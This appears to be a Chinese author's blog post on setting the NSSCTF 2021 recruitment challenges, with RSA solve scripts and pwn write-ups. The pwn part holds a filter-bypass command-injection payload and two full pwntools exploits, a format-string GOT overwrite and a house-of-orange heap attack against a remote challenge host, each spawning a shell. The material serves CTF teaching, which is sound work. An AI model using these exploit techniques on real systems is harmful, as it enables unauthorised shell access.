NSSCTF 2021 招新出题笔记

pic

前言

这是我第二次为团队招新赛出题,这次一开始听xenny老板说要搞个校外赛道,好家伙,这次招新四舍五入就成了一个小型的公开赛了,当时正在套模板题的手微微颤抖,有那么一瞬间在想要不要整点活,但想到这比赛是面向新生的最终还是没有整(主要还是菜,整不出来)

这次的题目我负责的是pwn1-5,以及密码学方向的1-5(现代密码部分), 本来一开始的时候是没有打算出pwn题的,因为新生大部分都是还没有接触过CTF的小白,我觉得新生通过自学把环境搭建好就差不多了,最终还是迫于wdljt老板的淫威出了五个白给pwn。

出题思路

Crypto

团队里面搞现代密码的就两个人,另外一个师傅要加班出misc,现代密码就只有我来,又因为赶着第二天上题,就直接摆烂水了5个题

这五个密码题都是模板题,改都不带改的,这五个密码题出题加起来也就花了不到20分钟,难度都不大,每个题应该都能百度到原题。

crypto1

给了c1,c2,n,以及e1e2 = 3087,又因为3087 = 3337*7 大概率想到模不互素,解题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import  gmpy2
from Crypto.Util.number import *

def rsa_gong_N_def(e1,e2,c1,c2,n):
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
s = gmpy2.gcdext(e1, e2)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)

def de(c, e, n):
k = 0
while k<1000:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1

for e1 in range(2,e1e2):
if e1e2%e1==0:
e2=e1e2//e1
c=rsa_gong_N_def(e1, e2, c1, c2, n)
e=gmpy2.gcd(e1,e2)
m1=de(c,e,n)
if m1:
flag=long_to_bytes(int(m1))
if b"flag" in flag:
print(flag)
break

crypro2

简单的共模攻击

crypto3


这个题是去年xenny老板在电话里考过我的一个题,当时没有想出来,这次想起来这个题就出到了招新赛里,出完之后审题的时候才发现自己不会做xs,还是太菜。后来风二西师傅给我说是NPUCTF2020的原题,这才去学了一波。
这里就直接贴一下大佬的博客:https://www.cnblogs.com/vict0r/p/13292511.html
解题脚本

1
2
3
4
5
6
7
8
c1=flag1
c2=flag2
a = c1+c2
b = c1*c2

R.<x>=Zmod(n)[]
f = x^2 - a*x +b
f.small_roots(X=2^400)

crypto4

由于q = nextPrime(p) , 所以可以yafu直接分解n , 直接拿下

crypto5

低e , e = 3

Pwn

pwn1

过滤了一般拿来读文件的一些命令以及空格

payload

1
tac$IFS$9flag

pwn2~4

这三个题都是《CTF从0到1》上的模板,直接照着打就行
pwn2:修改返回地址为gift
pwn3:puts泄露libc地址,ret2libc
pwn4: 由于开了pie,格式化字符串泄露程序地址和libc地址,然后再利用格式化字符串任意地址写

关于pwn4在测的时候发现了一个有意思的现象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * 

p = process('pwn4')
elf = ELF("pwn4")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(log_level='debug',arch='amd64',os='linux')
p.recvuntil("say: ")
p.sendline("%17$p%21$p")


p.recvuntil("0x")
elf_base = int(p.recv(12),16)-elf.sym['_start']
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-0x20840
print(hex(elf_base))
print(hex(libc_base))

printf = elf_base+elf.got['printf']
system = libc_base+libc.sym['system']


payload = fmtstr_payload(6,{printf:system})
print(payload)

p.recvuntil("say: ")
p.sendline(payload)

p.interactive()

用这个exp可以拿到一个sh的shell,但不是每一次都能成功,由于成功率太低,也没有动态调试,希望有知道原因的大佬可以为我解惑。磕头啦,砰砰砰。
Cache_-36b9d8e9cc4ee054..jpg-4kB

pwn5

这个题前段时间学house of orange学到的一个题,然后套了个base64编译码表的验证。

利用格式化字符串泄露地址,然后利用gets溢出修改top chunk大小,申请超过top chunk大小的块得到unsortedbin,最后伪造_IO_FILE结构体,修改虚表指针来get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import * 

p = remote("1.14.71.254",28062)
elf = ELF("pwn5")
libc = ELF("libc-2.23.so")
context(log_level='debug',arch='amd64',os='linux')

def add(size,content):
p.recvuntil("word: ")
p.sendline(str(size))
p.recvuntil("say: ")
p.sendline(content)

p.recvuntil("username = ")
p.sendline("NSSCTF")
p.recvuntil("password = ")
p.sendline("NSSCTF{b@se_xx_64}")

p.recvuntil("word: ")
p.sendline("0x18")
p.recvuntil("say: ")
p.sendline(b'a'*0x10+p64(0)+p64(0xfe1))


p.recvuntil("word: ")
p.sendline("0x1000")
p.recvuntil("say: ")

p.sendline("%9$p%3$p")
#gdb.attch(p)
p.recvuntil("0x")
heap_base = int(p.recv(12),16)-0x21010
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-0xf73c0

print(hex(heap_base))
print(hex(libc_base))


system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']


payload = b'a'*0x400
payload1 = b'/bin/sh\x00'+ p64(0x60)
payload1 += p64(0)+p64(IO_list_all-0x10)
payload1 += p64(0)+p64(1)
payload1 = payload1.ljust(0xc0,b'\x00')
payload1 += p64(0)*3 + p64(heap_base + 0x508)
payload1 += p64(1)*2
payload1 += p64(system_addr)
payload = payload+payload1
add(0x400,payload)
#gdb.attach(p)
p.sendline("1")
#gdb.attach(p)

p.interactive()

后来看师傅们的讨论,才发现我被非预期了,有的师傅找地方打的rop,有的师傅打把栈迁移到堆上,还有师调 malloc realloc调通了, 果然我还是太菜了。给各位pwn👴磕头🌶,砰砰砰
Cache_-36b9d8e9cc4ee054..jpg-4kB

结语

虽然,这次校外赛道被打的很惨,但是校内的人基本上没人做pwn,希望不要把新人劝退吧,要是再没人学pwn,队里pwn方向就真只能摆烂了,出去国赛看别人的队一个队3个pwn👴,而现在队里就只有我一个人搞pwn真的顶不住,希望这次招新能吸收些新鲜的血液吧。也希望团队能越高越好。